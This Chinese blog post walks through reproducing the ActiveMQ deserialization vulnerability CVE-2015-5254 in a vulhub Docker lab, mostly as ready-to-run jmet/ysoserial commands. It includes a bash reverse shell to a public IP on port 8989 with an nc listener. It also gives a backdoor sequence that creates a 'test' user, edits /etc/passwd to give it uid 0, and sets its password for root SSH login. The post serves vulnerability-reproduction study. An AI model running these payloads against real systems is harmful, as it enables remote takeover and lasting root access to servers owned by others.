ActiveMQ反序列化‐‐CVE‐2015‐5254

共 1761字,需浏览 4分钟

 ·

2020-07-30 22:18

一、环境搭建


使用vulhub一键docker‐compose up ‐d 一键启动漏洞环境

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递;8161是网络管理页面端口默认密码:admin,admin。


05b4114338c43ac6b8568408e7983c2a.webp

68636dc2da1e4308b1c198fee2183680.webp



二、漏洞复现


步骤:

1.构造(可以使用ysoserial)可执行命令的序列化对象


2.作为一个消息,发送给目标61616端口


3.访问的Web管理页面,读取消息,触发漏洞

jmet进行漏洞利用首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在

的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载)。


c84fe0fbcdea0f08a6cfc6a346309407.webp



cd /optwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet‐0.1.0‐all.jarmkdir external


执行命令添加一个事件队列像目标的ActiveMQ添加一个事件的队列,通过http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "touch /tmp/sucess"‐Yp ROME 8.210.152.234 61616


372cc51c43380c44b70dc28e718ec295.webp


fc559d5aad64cdf979e14b4ed544be16.webp


点击查看触发漏洞命令执行


03a7fd722d5498c24915bf330da503ca.webp



此时进入docker 容器进行查看是否成功

docker exec ‐it 77957ea6aa1b /bin/bash


ed4d3ae14832bdb745450f49cecee801.webp


三、反弹Shell


推荐工具在线工具 https://krober.biz/misc/reverse_shell.php


推荐在线编码工具 http://www.jackson‐t.ca/runtime‐exec‐payloads.html


执行命令 登录后台点击触发漏洞

java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "bash ‐i >& /dev/tcp/39.108.159.100/8989 0>&1" ‐Yp ROME 8.210.152.234 61616


1a5488abc46d1b596c820d0445fe2378.webp


nc 监听相应端口等待shell回弹(建议使用云服务器监听)


3742dc0407abcc37efb12c596e136240.webp


登录后台点击消息队列:触发命令执行


ac7785415f48b2f2be5de768c6ca61a7.webp


92b8239a80981c6c485d0da10538a48d.webp



四、添加用户


执行jmet的命令添加test用户并将其添加到root组,返回

http://ip:8161/admin/browse.jsp?JMSDestination=event


页面,点击一下消息,触发它

java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "useradd ‐g root ‐s/bin/bash ‐u 10010 test" ‐Yp ROME ip 61616


让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回

http://ip:8161/admin/browse.jsp?JMSDestination=event


页面,点击一下消息,触发它。


java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "sed ‐i "s/test:x:10010/test:x:0/g" /etc/passwd" ‐Yp ROME ip 61616


让我们再为test用户设置一个密码,返回


http://ip:8161/admin/browse.jsp?JMSDestination=event


页面,点击一下消息,触发它。


java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "echo "test:sd123456" | chpasswd" ‐Yp ROME ip 61616


到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆


进入操作系统,并且还是最高权限。


340785eded2bd77ffb9d3f46877179a0.webp


浏览 17
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报